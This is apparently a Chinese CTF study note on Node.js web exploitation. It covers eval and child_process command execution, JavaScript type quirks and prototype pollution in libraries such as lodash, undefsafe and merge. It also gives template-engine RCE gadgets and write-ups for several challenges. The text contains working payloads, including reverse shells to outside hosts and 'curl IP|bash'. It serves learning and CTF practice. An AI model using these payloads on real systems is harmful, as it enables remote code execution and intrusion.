或许前路永夜,即便如此我也要前进,因为星光即使微弱也会为我照亮前途。————四月是你的谎言
简单的说 Node.js 就是运行在服务端的 JavaScript。
Node.js 是一个基于 Chrome JavaScript 运行时建立的一个平台。
Node.js 是一个事件驱动 I/O 服务端 JavaScript 环境,基于 Google 的 V8 引擎,V8 引擎执行 Javascript 的速度非常快,性能非常好。
json
的APItoUpperCase() 在JavaScript中 是将小写改为大写的函数
但是就是在转换大小写的过程中 我们可以使用一些我们并不常见的字符 来转换出 我们所需要的字符 来绕过过滤
"ı".toUpperCase() == 'I',"ſ".toUpperCase() == 'S'
那么相对应的 toLowerCase() 也会有相关的特性
"K".toLowerCase() == 'k'
与php相似的 数字与数字字符串比较的时候 数字型字符串会被转换之后 再比较
console.log(1=='1'); //true console.log(1>'2'); //false console.log('1'<'2'); //true console.log(111>'3'); //true console.log('111'>'3'); //false console.log('asd'>1); //false
最后一个字符串 被转换完之后 可能是0 了捏
字符串与字符串相比较 比第一个ASCII码
console.log([]==[]); //false console.log([]>[]); //false console.log([6,2]>[5]); //true console.log([100,2]<'test'); //true console.log([1,2]<'2'); //true console.log([11,16]<"10"); //false
空数组比较为false
数组之间比较 第一个值 如果有字符串取 第一个进行比较
数组永远比非数值字符串小
console.log(null==undefined) // 输出:true console.log(null===undefined) // 输出:false console.log(NaN==NaN) // 输出:false console.log(NaN===NaN) // 输出:false
console.log(5+[6,6]); //56,6
console.log("5"+6); //56
console.log("5"+[6,6]); //56,6
console.log("5"+["6","6"]); //56,6
我们可以使用反引号 替代括号执行函数 可以用 反引号 替代 单引号 双引号 可以在反引号内 插入变量 模板字符串 是将字符串 作为参数传入函数中 而 参数 是一个数组 所以数组遇到${]
字符串会被分割
var aaaa = "fake_s0u1"; console.log("hello %s",aaaa);
var aaaa = "fake_s0u1"; console.log`hello${aaaa}world`;
javascript 的 eval 作用就是计算某个字符串,并执行其中的 js 代码。
var express = require("express"); var app = express(); app.get('/',function(req,res){ res.send(eval(req.query.a)); console.log(req.query.a); }) app.listen(1234); console.log('Server runing at http://127.0.0.1:1234/');
我们可以看到 我们在上面的源码中 使用了eval函数
process 的作用是提供当前 node.js 进程信息并对其进行控制。
Node.js中的chile_process.exec调用的是/bash.sh,它是一个bash解释器,可以执行系统命令。
spawn() 启动一个子进程 来执行命令 spawn(命令,{shell:true})
exec():启动一个子进程来执行命令,与spawn()不同的是其接口不同,它有一个回调函数获知子进程的状况。实际使用可以不加回调函数。
execFile() :启动一个子进程来执行可执行文件。实际利用时,在第一个参数位置执行 shell 命令,类似 exec。
fork():与spawn()类似,不同点在于它创建Node的子进程只需指定要执行的JavaScript文件模块即可。用于执行 js 文件,实际利用中需要提前写入恶意文件
settimeout(function,time),该函数作用是两秒后执行函数,function 处为我们可控的参数。
var express = require("express"); var app = express(); setTimeout(()=>{ console.log("console.log('Hacked')"); },2000); var server = app.listen(1234,function(){ console.log("应用实例,访问地址为 http://127.0.0.1:1234/"); })
setinterval (function,time),该函数的作用是每个两秒执行一次代码。
var express = require("express"); var app = express(); setInterval(()=>{ console.log("console.log('Hacked')"); },2000); var server = app.listen(1234,function(){ console.log("应用实例,访问地址为 http://127.0.0.1:1234/"); })
function(string)(),string 是传入的参数,这里的 function 用法类似于 php 里的 create_function。
var express = require("express"); var app = express(); var aaa=Function("console.log('Hacked')")(); var server = app.listen(1234,function(){ console.log("应用实例,访问地址为 http://127.0.0.1:1234/"); })
require('child_process').exec('calc');
require('child_process').execFile("calc",{shell:true});
require('child_process').fork("./hacker.js");
require('child_process').spawn("calc",{shell:true});
require('child_process').exec('echo SHELL_BASE_64|base64 -d|bash'); 注意:BASE64加密后的字符中有一个+号需要url编码为%2B(一定情况下)
PS:如果上下文中没有require(类似于Code-Breaking 2018 Thejs),则可以使用
global.process.mainModule.constructor._load('child_process').exec('calc')
来执行命令
那么在上面 我们已经可以执行我们像执行的代码 了 那么对于文件的操作也是很好实现的
操作函数后面有Sync 代表同步方法
nodejs文件系统模块中的方法均有异步和同步版本 比如读取文件内容的函数有 异步的fs.readFile() 和 同步的 fs.readFileSync()。
异步的方法函数 最后一个 参数为 回调函数 回调函数的 第一个参数 包含了错误信息
建议使用异步方法 性能更高 速度更快
增删查改
res.end(require('fs').readdirSync('.').toString())
res.end(require('fs').writeFileSync('./daigua.txt','内容').toString());
res.end(require('fs').readFileSync('./daigua.txt').toString());
res.end(require('fs').rmdirSync('./daigua').toString());
原型链污染就是 我们控制私有属性(proto)指向的原型对象(prototype), 将其的属性产生变更 那么所继承她的对象 也会拥有这个属性
JavaScript中,我们如果要定义一个类,需要以定义“构造函数”的方式来定义:
function Foo() { this.bar = 1 } new Foo()
Foo函数的内容 就是 Foo类的构造函数 而this.bar 就是 Foo类的一个属性
为了简化编写JavaScript代码,ECMAScript 6后增加了
class
语法,但class
其实只是一个语法糖。
一个类中 必然有一些方法 类似 属性this.bar 我们也可以将方法 定义再构造函数内部
function Foo() { this.bar = 1 this.show = function() { console.log(this.bar) } } (new Foo()).show()
但这样写有一个问题,就是每当我们新建一个Foo对象时,this.show = function...
就会执行一次,这个show
方法实际上是绑定在对象上的,而不是绑定在“类”中。
我希望 在创建类的时候 只创建一次 show方法 这时候就要使用 prototype了
function Foo() { this.bar = 1 } Foo.prototype.show = function show() { console.log(this.bar) } let foo = new Foo() foo.show()
我们可以认为 原型prototype 是类Foo的一个属性 而 所有用Foo类实例化的对象 都将拥有这个属性中的 所有内容 而 所有用Foo类实例化 的对象 都将拥有这个属性的所有内容 包括变量和方法 比如 上面的foo对象 其天生就具有 foo.show() 方法
我们 可以通过 Foo.prototype 来访问Foo类的原型 但是 Foo实例化出来的对象 是不能通过 prototype访问原型的 那么 这个时候 就该__proto__
登场了
一个 Foo类实例化出来的foo对象 可以通过 foo.__proto__
属性 来访问Foo类的原型
foo.__proto__ == Foo.prototype
所以,总结一下:
prototype
是一个类的属性,所有类对象在实例化的时候将会拥有prototype
中的属性和方法__proto__
属性,指向这个对象所在的类的prototype
属性所有类对象 在实例化的 时候 都会拥有 prototype中的属性 和 方法 这个特性 被用来实现JavaScript 中的继承机制
such as
function Father() { this.first_name = 'Donald' this.last_name = 'Trump' } function Son() { this.first_name = 'Melania' } Son.prototype = new Father() let son = new Son() console.log(`Name: ${son.first_name} ${son.last_name}`)
Son类 继承了 Father类的last_name 属性 最后输出的 是 Name: Melania Trump
对于对象 son 在调用 son.last_name 的时候 实际上 JavaScript 引擎 会进行如下 操作
JavaScript的 这个 查找的机制 被应用在面向对象的继承中 被称作 prototype 继承链
综上 需要记住以下几点
一个demo
// foo是一个简单的JavaScript对象 let foo = {bar: 1} // foo.bar 此时为1 console.log(foo.bar) // 修改foo的原型(即Object) foo.__proto__.bar = 2 // 由于查找顺序的原因,foo.bar仍然是1 console.log(foo.bar) // 此时再用Object创建一个空的zoo对象 let zoo = {} // 查看zoo.bar console.log(zoo.bar)
这个语句到最后 zoo.bar 的结果 是2 虽然zoo是一个 空对象
而这个的原因也就是 在前面我们修改foo的原型 foo.proto.bar =2 而 foo是一个 Object类的实例 所以 实际上是修改了Object这个类 给这个类增加了一个属性bar 值为2
后来 我们又用 Object类 创建了一个 zoo对象 那么 这个zoo对象 自然也有一个bar属性了
那么,在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染。
简单易懂的说 就是 儿子改了 老子也被传染了 然后其所再产生的儿子 也是这个属性了
demo2
object1 = {"a":1, "b":2}; object1.__proto__.foo = "Hello World"; console.log(object1.foo); object2 = {"c":1, "d":2}; console.log(object2.foo);
o1 和 o2 相当于继承了Object.prototype 所以当我们对一个对象设置foo属性 就造成了原型链污染 导致Object2 也拥有了foo属性
如果 我们需要利用原型链污染 那我们就需要设置 __proto__
的值 也就是需要找到能控制数组的键名的操作 最常见的就是merge clone copy
merge方法 是合并对象的方法 合并两个对象或者 多个对象的属性
clone方法 就是克隆捏
function merge(target, source) { for (let key in source) { if (key in source && key in target) { merge(target[key], source[key]) } else { target[key] = source[key] } } }
在合并的过程中 存在赋值的操作 target[key] = source[key] 那么 这个key如果是 proto是不是就可以进行原型链污染
我们用如下代码试一下啊
let o1 = {} let o2 = {a: 1, "__proto__": {b: 2}} merge(o1, o2) console.log(o1.a, o1.b) o3 = {} console.log(o3.b)
可以看到 这样写 并没有进行污染 但是 二者合并了
这是因为 我们用JavaScript 创建o2的过程{a: 1, "__proto__": {b: 2}}
中 proto已经代表o2的原型了 此时 遍历 o2所有键名 你拿到的是[a,b] proto并不是一个key 自然 也不会修改 Object的原型
那么 我们的任务就变成了 让proto 被认为是一个 键名
let o1 = {} let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}') merge(o1, o2) console.log(o1.a, o1.b) o3 = {} console.log(o3.b) 最终输出 1 2 2
向上面这么写 最后会完成污染 这是因为 json解析的时候 proto会被认为成一个真正的键名 而不代表原型 所以在遍历o2的时候 会存在这个键
但是 我们输出a 为undefined
上面o1 o2 输出a为1 是因为 merge对二者进行了融合 但是并没有进行污染
var object = { a: { b: { c: 1, d: [1,2,3], e: 'whoami' } } }; console.log(object.a.b.e) console.log(object.a.c.e)
可以看到当我们正常访问object属性的时候会有正常的回显,但当我们访问不存在属性时则会得到报错:
undefsafe可以帮我们解决这个问题
她还有一个功能 在对对象赋值时 如果目标属性 存在 其可以帮助我们修改对应属性的值
当属性不存在的时候 我们可以对属性赋值
这个需要下载 undefsafe小于2.0.3的版本
我们可以发现 当我们可以控制undefsafe函数的第2 3 个参数的时候 我们可以污染 object中的值
var a = require("undefsafe"); var test = {} a(test,'__proto__.toString',function(){ return 'just a evil!'}) console.log('this is '+test)
我们可以看到 上面成功的进行了原型链污染
因为 在在上面 污染了toString 因为在当前对象中找不到 于是 需要向上溯源
最后在进行this is 和 test拼接的时候 触发了tostring 造成了原型链污染
在2.0.3后的版本 加上了下面的限制
应该是 对于其修改Object中本身的属性 做出了限制 所以 不能进行污染了
function splitStr(str, separator) { // Function to split string var string = str.split(separator); console.log(string); } // Initialize string var str = "GeeksforGeeks/A/computer/science/portal"; var separator = "/"; // Function call splitStr(str, separator); Output: [ 'GeeksforGeeks', 'A', 'computer', 'science', 'portal' ]
filter()
方法會建立一個經指定之函式運算後,由原陣列中通過該函式檢驗之元素所構成的新陣列。
const words = ['spray', 'limit', 'elite', 'exuberant', 'destruction', 'present']; const result = words.filter(word => word.length > 6); console.log(result); // expected output: Array ["exuberant", "destruction", "present"]
相当于一个 过滤器
slice()
方法會回傳一個新陣列物件,為原陣列選擇之 begin
至 end
(不含 end
)部分的淺拷貝(shallow copy)。而原本的陣列將不會被修改。
const animals = ['ant', 'bison', 'camel', 'duck', 'elephant']; console.log(animals.slice(2)); // expected output: Array ["camel", "duck", "elephant"] console.log(animals.slice(2, 4)); // expected output: Array ["camel", "duck"] console.log(animals.slice(1, 5)); // expected output: Array ["bison", "camel", "duck", "elephant"] console.log(animals.slice(-2)); // expected output: Array ["duck", "elephant"] console.log(animals.slice(2, -1)); // expected output: Array ["camel", "duck"] console.log(animals.slice()); // expected output: Array ["ant", "bison", "camel", "duck", "elephant"]
这是相当于一个数组切割的工具
join() 方法會將陣列(或一個類陣列(array-like)物件)中所有的元素連接、合併成一個字串,並回傳此字串。
const elements = ['Fire', 'Air', 'Water']; console.log(elements.join()); // expected output: "Fire,Air,Water" console.log(elements.join('')); // expected output: "FireAirWater" console.log(elements.join('-')); // expected output: "Fire-Air-Water"
原型链污染的主要思想 实际上就是寻找能够操纵键值的位置 然后利用proto来向上污染
const merge = (a, b) => { // 发现 merge 危险操作 for (var attr in b) { if (isObject(a[attr]) && isObject(b[attr])) { merge(a[attr], b[attr]); } else { a[attr] = b[attr]; } } return a } const clone = (a) => { return merge({}, a); }
在上面 我们使用了merge 进行操作 merge 方法用在merge操作 以及 clone操作中
我们可以 利用merge来合并两个 复杂的对象 用clone创建一个 和现在对象相同的对象
function merge(target, source) { for (let key in source) { if (key in source && key in target) { merge(target[key], source[key]) } else { target[key] = source[key] } } } let object1 = {} let object2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}') merge(object1, object2) console.log(object1.a, object1.b) object3 = {} console.log(object3.b)
merge有着合并的作用
function merge(target, source) { for (let key in source) { if (key in source && key in target) { merge(target[key], source[key]) } else { target[key] = source[key] } } } function clone(a) { return merge({}, a); } let object1 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}'); clone(object1) console.log(object1.a); console.log(object1.b); object2 = {} console.log(object2.b)
clone 也是一样的
影响2.1.1以下的merge版本
const merge = require('merge'); const payload2 = JSON.parse('{"x": {"__proto__":{"polluted":"yes"}}}'); let obj1 = {x: {y:1}}; console.log("Before : " + obj1.polluted); merge.recursive(obj1, payload2); console.log("After : " + obj1.polluted); console.log("After : " + {}.polluted);
我们可以审计以下源码 看一下 这里merge的漏洞出现在哪里
在此处进行了修复
lodash是为了弥补JavaScript原生函数功能不足而提供的一个辅助功能集,其中包含字符串、数组、对象等操作。
此漏洞影响 小于4.17.12 版本的lodash
lodash库中的 defaultsDeep函数 可能会被包含constructor的payload诱骗添加或 修改Object.prototype 最终导致污染
漏洞发现者给出的poc
const mergeFn = require('lodash').defaultsDeep; const payload = '{"constructor": {"prototype": {"whoami": "Vulnerable"}}}' function check() { mergeFn({}, JSON.parse(payload)); if (({})[`a0`] === true) { console.log(`Vulnerable to Prototype Pollution via ${payload}`); } } check();
我们加上一个输出 可以验证一下 是否收到了污染
在这里已经 污染到原型了
其实 constructor 就可以理解为 实例化出来对象的时候 会触发 于是 便可以造成污染
在修复方法中 是直接将constructor check掉了 可以进行防御
merge是与上面所提到的merge是相差无几的
在其中调用了baseMerge
在这里没有直接调用 查找baseMergeDeep
调用assignMergeValue
这是一个经过了过滤的版本 之前没有过滤的版本是在这里直接可以控制键值对
这个版本中就是 将过滤放到了baseAssignValue 不改变proto 便可以进行赋值
在lodash 4.17.5之前的版本中 存在这个漏洞
4.17.11之前的版本 存在这个漏洞
var lodash= require('lodash'); var payload = '{"__proto__":{"polluted":"yes"}}'; var a = {}; console.log("Before polluted: " + a.polluted); lodash.mergeWith({}, JSON.parse(payload)); console.log("After polluted: " + a.polluted);
这个方法也是依靠 baseMerge 大致和上面的差不多
lod = require('lodash') lod.setWith({}, "__proto__[test]", "123") lod.set({}, "__proto__[test2]", "456") console.log(Object.prototype)
set类开始
跟进baseSet
跟进assignValue
跟进baseAssignValue
当key 不为proto 时 可以触发赋值
在lodash 4.17.20之前的版本适用
poc
const _ = require('lodash'); _.zipObjectDeep(['__proto__.z'],[123]) console.log(z) // 123
查看源码
跟进baseZipObject
在此处利用到了 assign函数
就是可以进行 覆盖的 一个函数
在这里 我们demo中传入的值,前者给到prop,后者给到values
然后prop取其中的属性,适用values覆盖,便达到了目的
var safeObj = require("safe-obj"); var obj = {}; console.log("Before : " + {}.polluted); safeObj.expand(obj, '__proto__.polluted', 'Yes! Its Polluted'); console.log("After : " + {}.polluted);
从poc中 可以看出 是在safeObj的expand里面 存在漏洞 那么我们直接可以看这部分的源码
关于path的解释如下
词如其名 就是 所使用的文件的路径
在此处 先是对传入的path进行 split 在demo中就是 分为了 [__proto__,polluted]
然后在此处 判断props的length
在此处 数组中是由 [__proto__,polluted]
组成的 length为1 所以proto 等于 thing 造成 原型链污染
注意 此处 数组中有两个元素的时候 length为1
poc
2.0.0 到 2.0.1 存在漏洞
var safeFlat = require("safe-flat"); console.log("Before : " + {}.polluted); safeFlat.unflatten({"__proto__.polluted": "Yes! Its Polluted"}, '.'); console.log("After : " + {}.polluted);
漏洞点 如上
typeof的作用如上
isDate的作用 是判断是否为时间对象
forEach
reduce方法
poc:
var jquery = document.createElement('script'); jquery.src = 'https://code.jquery.com/jquery-3.3.1.min.js'; let exp = $.extend(true, {}, JSON.parse('{"__proto__": {"exploit": "fake_s0u1"}}')); console.log({}.exploit);
注意 在镜像库中的 jquery 都是小写的 虽然在产品名中 有大写 npm是区分大小写的
Node.js < 12.22.9, < 14.18.3, < 16.13.2, and < 17.3.1
poc:
console.table([{a:1}], ['__proto__']) console.table([{x:1}], ["__proto__"]);
我们对原型链污染进行污染的目的 就是 要进行rce
Lodash.template 是 Lodash 中的一个简单的模板引擎,创建一个预编译模板方法,可以插入数据到模板中 “interpolate” 分隔符相应的位置
在lodash中 options对象的sourceURL
options是一个对象 sourceURL是通过下面 的语句定义的 是通过了一个三目运算法赋值 取到了其options.sourceURL
属性其默认没有此属性 所以其默认也为空
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
同时 在此处定义的sourceURL 在下面拼接进了 Function的第二个参数 造成任意代码执行漏洞
如果 给options的原型对象加一个 sourceURL 属性 那么便可以控制她的值
需要注意的是 Function里面 是没有require函数的 我们不能直接使用require('child_process')
我们需要 使用global.process.mainModule.constructor._load
来进行代替 后续的调用
payload
{"__proto__":{"sourceURL":"\nreturn e=> {for (var a in {}) {delete Object.prototype[a];} return global.process.mainModule.constructor._load('child_process').execSync('id')}\n//"}}
在Nodejs的 ejs模块引擎中 存在利用 原型污染进行rce的一个漏洞
"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'cat /flag\');var __tmp2"
jade模板引擎 也可以帮助我们实现原型链污染的rce
{"__proto__":{"compileDebug":1,"self":1,"line":"console.log(global.process.mainModule.require('child_process').execSync('calc'))"}}
附件给出两个文件 在user中 有用户名和密码 为CTFSHOW 和 123456 然后再login文件中 我们发现 username在传入的时候 是会经过toUpperCase 处理的也就是会变成大写 那么我们只需要传入ctfshow即可
题中提示我们eval 应该是我们所传入的命令就会被执行 那么我们不妨来看一下 命令如何被执行 我们这里查了一下我们可以利用child_process去执行命令 我们这里利用的是
这样三个函数
跟着y4师傅学到 我们可以使用
__filename //返回当前模块文件被解析过后的绝对路径
__dirname //返回当前模块文件解析过后的所在文件夹的绝对路径
于是我们这里可以使用前者获得以下回显
/app/routes/index.js
我们可以尝试着将其读取出来
?eval=require('fs').readFileSync('/app/routes/index.js')
这里调用的是fs文件系统 我们使用readFileSync来读取其文件 回显出该文件
var express = require('express'); var router = express.Router(); /* GET home page. */ router.get('/', function(req, res, next) { res.type('html'); var evalstring = req.query.eval; if(typeof(evalstring)=='string' && evalstring.search(/exec|load/i)>0){ res.render('index',{ title: 'tql'}); }else{ res.render('index', { title: eval(evalstring) }); } }); module.exports = router;
我们从中可以看到exec 和 load 是被过滤掉了的 我们绕过exec 我们还可以使用spawn去执行命令 可以采用yu师傅的方法
?eval=require('child_process').spawnSync('cat',['fl001g.txt']).stdout
去读取 亦或者 我们可以从ssti那里学来拼接命令的方式来绕过其过滤
eval=require('child_process')['exe'%2B'cSync']('ls').toString()
这里我们的+ 需要使用url编码 否则是出不来的 原因大概是会被解析成空格
再或者说 我们在使用fs读取的时候 我们使用readdirSync 去读取目录中的文件 我们可以得到
/?eval=require('fs').readdirSync('.')
回显app.js,bin,fl001g.txt,modules,node_modules,package-lock.json,package.json,public,routes,sessions,views
我们可以从中发现flag 并可以使用同种方式去读取
?eval=require('fs').readFileSync('fl001g.txt')
可以得到flag
var express = require('express'); var router = express.Router(); var crypto = require('crypto'); function md5(s) { return crypto.createHash('md5') .update(s) .digest('hex'); } /* GET home page. */ router.get('/', function(req, res, next) { res.type('html'); var flag='xxxxxxx'; var a = req.query.a; var b = req.query.b; if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){ res.end(flag); }else{ res.render('index',{ msg: 'tql'}); } }); module.exports = router;
我们从中可以看到 一段关键的代码 熟悉的MD5 我们这里就可以使用数组绕过 来绕过MD5
一开始在app.js中看 没什么发现 在login.js中 有发现
需要把ctfshow污染 成36dboy 便可以直接输出 flag
{"__proto__":{"ctfshow":"36dboy"}}
上来 再乍一看 感觉和上一个题差不多
但是 在这里传入 的值 变为了一个变量 且在上面定义了这个变量
借用羽师傅的一个demo
function copy(object1, object2){ for (let key in object2) { if (key in object2 && key in object1) { copy(object1[key], object2[key]) } else { object1[key] = object2[key] } } } var user ={} body=JSON.parse('{"__proto__":{"query":"return 123"}}'); copy(user,body); console.log(query);
这里涉及到的是一个 变量的覆盖
最后输出的结果是覆盖后的结果
那么 为啥query会被修改呢
首先原型链污染 就是 js中 所有对象的原型都可以继承到 Object 然后 终点是null对象 在前面也有说 当在上下文中找不到相应对象的时候 会遍历Object对象 是否存在相应的属性
也就是说 在上面那个题中 不需要secret中有ctfshow属性 这个里面也不需要有query属性 当找不到的时候 会自动开始遍历 当我们进行污染之后 会在原型中找到相关的属性 而此时 这个属性已经被我们给污染了 为我们所用
在上面的demo中 就是当copy调用的时候 原型链被污染了
至于{ query: Function(query)(query)}
为何为 { query: 123 }
js的函数实际上都是一个 Function对象 其参数为
new Function ([arg1[, arg2[, ...argN]],] functionBody)
访问source路由可以获得源码
在源码中涉及到merge方法 可能涉及到原型链污染
在time路由中存在命令执行
gotit路由中 涉及到merge的利用 可以修改键值对
将proto修改 修改cmd为自己想要执行的命令
{"__proto__":{"cmd":"bash -i >& /dev/tcp/1.13.251.106/4000 0>&1"}}
在gotit路由下修改完后 访问time路由触发命令执行
可以弹shell
使用
可以找到flag
题目给出源码
var express = require('express'); var path = require('path'); const undefsafe = require('undefsafe'); const { exec } = require('child_process'); var app = express(); class Notes { constructor() { this.owner = "whoknows"; this.num = 0; this.note_list = {}; } write_note(author, raw_note) { this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note}; } get_note(id) { var r = {} undefsafe(r, id, undefsafe(this.note_list, id)); return r; } edit_note(id, author, raw) { undefsafe(this.note_list, id + '.author', author); undefsafe(this.note_list, id + '.raw_note', raw); //应该是在这里涉及键值的修改 } get_all_notes() { return this.note_list; } remove_note(id) { delete this.note_list[id]; } } var notes = new Notes(); notes.write_note("nobody", "this is nobody's first note"); app.set('views', path.join(__dirname, 'views')); app.set('view engine', 'pug'); app.use(express.json()); app.use(express.urlencoded({ extended: false })); app.use(express.static(path.join(__dirname, 'public'))); app.get('/', function(req, res, next) { res.render('index', { title: 'Notebook' }); }); app.route('/add_note') .get(function(req, res) { res.render('mess', {message: 'please use POST to add a note'}); }) .post(function(req, res) { let author = req.body.author; let raw = req.body.raw; if (author && raw) { notes.write_note(author, raw); res.render('mess', {message: "add note sucess"}); } else { res.render('mess', {message: "did not add note"}); } }) app.route('/edit_note') .get(function(req, res) { res.render('mess', {message: "please use POST to edit a note"}); }) .post(function(req, res) { let id = req.body.id; let author = req.body.author; let enote = req.body.raw; if (id && author && enote) { notes.edit_note(id, author, enote); res.render('mess', {message: "edit note sucess"}); } else { res.render('mess', {message: "edit note failed"}); } }) app.route('/delete_note') .get(function(req, res) { res.render('mess', {message: "please use POST to delete a note"}); }) .post(function(req, res) { let id = req.body.id; if (id) { notes.remove_note(id); res.render('mess', {message: "delete done"}); } else { res.render('mess', {message: "delete failed"}); } }) app.route('/notes') .get(function(req, res) { let q = req.query.q; let a_note; if (typeof(q) === "undefined") { a_note = notes.get_all_notes(); } else { a_note = notes.get_note(q); } res.render('note', {list: a_note}); }) app.route('/status') .get(function(req, res) { let commands = { "script-1": "uptime", "script-2": "free -m" }; for (let index in commands) { exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => { //此处执行command代码 if (err) { return; } console.log(`stdout: ${stdout}`); }); } res.send('OK'); res.end(); }) app.use(function(req, res, next) { res.status(404).send('Sorry cant find that!'); }); app.use(function(err, req, res, next) { console.error(err.stack); res.status(500).send('Something broke!'); }); const port = 8080; app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))
在上面的源码中 涉及到 undefsafe的使用 也就是说 只要我们可以控制其第 2 3 个参数 便可以达到原型链污染的目的
在上面存在 undefsafe的调用的 只有两处 第一处 在edit_note 另一处在 get_note
在edit的路由中
其实是三个参数 都是可以控制的 那么这里存在被污染的可能 那么 我们可以通过此处 对上面定义的 note_list 进行污染 然后再去status路由下 进行命令执行
edit_note(id, author, raw) { undefsafe(this.note_list, id + '.author', author); undefsafe(this.note_list, id + '.raw_note', raw); }
在此处 我们看到 edit中的参数 id参数 是在undefsafe的第二个参数位置上的 author和raw是在 第三个参数上的
我们在这里 将id赋值为我们想要污染的属性 后面为污染的值
而在command处 则是对于其中可能存在的命令进行遍历 然后执行 也就是 我们可以随意的污染属性 从而达到执行命令的目的
payload:id=__proto__.aaa&author=curl IP|bash&raw=1
反弹shell
var express = require('express'); var router = express.Router(); const isObject = obj => obj && obj.constructor && obj.constructor === Object; const merge = (a, b) => { for (var attr in b) { if (isObject(a[attr]) && isObject(b[attr])) { merge(a[attr], b[attr]); } else { a[attr] = b[attr]; } } return a } const clone = (a) => { return merge({}, a); } function safeKeyword(keyword) { if(keyword.match(/(admin)/is)) { return keyword } return undefined } router.get('/', function (req, res) { if(!req.session.user){ res.redirect('/login'); } res.outputFunctionName=undefined; res.render('index',data={'user':req.session.user.user}); }); router.get('/login', function (req, res) { res.render('login'); }); router.post('/login', function (req, res) { if(req.body.Submit=="register"){ if(safeKeyword(req.body.userid)){ res.end("<script>alert('forbid word');history.go(-1);</script>") } req.session.user={ 'user':req.body.userid.toUpperCase(), 'passwd': req.body.pwd, 'isLogin':false } res.redirect('/'); } else if(req.body.Submit=="login"){ if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")} if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){ req.session.user.isLogin=true; } else{ res.end("<script>alert('error passwd');history.go(-1);</script>") } } res.redirect('/'); ; }); router.post('/action', function (req, res) { if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} req.session.user.data = clone(req.body); res.end("<script>alert('success');history.go(-1);</script>"); }); router.get('/info', function (req, res) { res.render('index',data={'user':res.outputFunctionName}); }) module.exports = router;
www.zip 源码泄露 以上为index.js 源码
上面定义了merge方法
在此处调用了 clone 存在 原型链污染的可能 在上面clone将传入的值 与 空白对象 进行merge操作
在下面的info路由中 将c
渲染到了 index中 而且 在上面 outputFunctionName
还是未定义的属性 我们可以尝试 污染这个属性
基本理顺了 但是 在尝试访问 action路由的时候 我们发现 只有admin才能访问 那么 我们需要尝试 以admin来登录 我们在register路由中
看到toUpperCase方法 这里可以 想到 在ctfshow中学习到的JavaScript的特性 toUpperCase 存在
"ı".toUpperCase() == 'I',"ſ".toUpperCase() == 'S'
以上的漏洞 我们可以 借此伪造admin登录
userid=admın&pwd=123&Submit=register
登录之后 就可以按照我们上面的思路 进行原型链污染
{"lua":"123","__proto__":{"outputFunctionName":"t=1;return global.process.mainModule.constructor._load('child_process').execSync('id')\n//"},"Submit":""}
给出源码
const path = require('path'); const express = require('express'); const pug = require('pug'); const { unflatten } = require('flat'); const router = express.Router(); router.get('/', (req, res) => { return res.sendFile(path.resolve('views/index.html')); }); router.post('/api/submit', (req, res) => { const { hero } = unflatten(req.body); if (hero.name.includes('奇亚纳') || hero.name.includes('锐雯') || hero.name.includes('卡蜜尔') || hero.name.includes('菲奥娜')) { return res.json({ 'response': pug.compile('You #{user}, thank for your vote!')({ user:'Guest' }) }); } else { return res.json({ 'response': 'Please provide us with correct name.' }); } }); module.exports = router;
在上面 使用了flat 和 pug 渲染 flat可以原型链污染 pug可以rce
{ "__proto__.block": { "type": "Text", "line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)" } }
但是 我们需要给hero.name 赋值 然后 才能触发pug.conpile
{"__proto__.hero":{"name":"菲奥娜"}, { "__proto__.block": { "type": "Text", "line": "process.mainModule.require('child_process').execSync('cat /flag > app/static/1.txt')" } }}
https://forum.butian.net/share/1561